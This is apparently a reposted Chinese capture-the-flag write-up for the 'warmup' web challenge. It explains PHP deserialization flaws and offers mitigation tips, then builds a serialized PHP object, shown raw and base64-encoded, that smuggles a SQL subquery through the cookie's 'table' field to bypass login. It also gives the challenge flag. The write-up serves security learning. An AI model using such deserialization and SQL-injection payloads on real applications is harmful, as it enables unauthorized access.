【愚公系列】2023年06月 攻防世界-Web(题目名称-warmup)


前言

1.php反序列化

在执行反序列化函数unserialize()时,会自动执行魔法函数__wakeup()。

PHP反序列化漏洞是一种安全漏洞,攻击者可以利用此漏洞实现远程代码执行。

在PHP中,序列化是将对象转换为一系列字节,以便在网络上或在文件中进行传输。反序列化是将字节转换回对象。攻击者可以构造恶意序列化数据,当代码在反序列化时,恶意代码会被执行。

解决PHP反序列化漏洞的建议:

1.过滤输入:在将用户输入以任何形式提供给反序列化函数之前进行过滤和验证。例如,限制反序列化的类,或使用白名单过滤用户提供的对象。

2.更新PHP:PHP的最新版本包含了反序列化漏洞修复,因此,建议使用最新版本的PHP。

3.安全配置:限制反序列化函数的使用范围,通过PHP的安全配置来禁用危险函数的使用。

4.安全编码:遵循良好的编码实践和安全性准则,如避免在反序列化中使用可执行的代码、限制反序列化函数的使用,等等。

2.sql

select 值1 字段1,值2,字段2

可以生成表

字段1 字段2
值1 值2

一、题目名称-warmup

1.题目

在这里插入图片描述

2.答题

打开题目
在这里插入图片描述
1、审计index.php文件
在这里插入图片描述

在这里插入图片描述
发现Cookie中有一串base64编码,进行解密

在这里插入图片描述
发现是json序列化的字符串,构造序列化的字符串

2、审计conn.php文件

实际上最关键点在这个waf上

在这里插入图片描述
可以看到用户名密码进行了转义过滤

3、整理信息

所得到已知信息
1.在Cookie中存在序列化字符串,用来记录访问者IP
2.前端传入username,password时,首先会被转义再进行过滤,只能使用 ’ 符号
3.在conn.php文件中存在一个SQL方法,其中waf过滤函数将table,username,password参数都进行了过滤,但是table参数没有进行addslashes()函数转义处理

4、进行payload

O:3:"SQL":4:{
    
    s:5:"table";s:41:"(select 'admin' username,'123' password)a";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:4:"conn";N;}}

然后对它进行base64编码为

TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDE6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzJyBwYXNzd29yZClhIjtzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJjb25uIjtOO319

将其写入last_login_info
在这里插入图片描述

在这里插入图片描述

得到flag:cyberpeace{2b9cc808f259b7c07f29af259fd22bec}

猜你喜欢

转载自blog.csdn.net/aa2528877987/article/details/131261074
今日推荐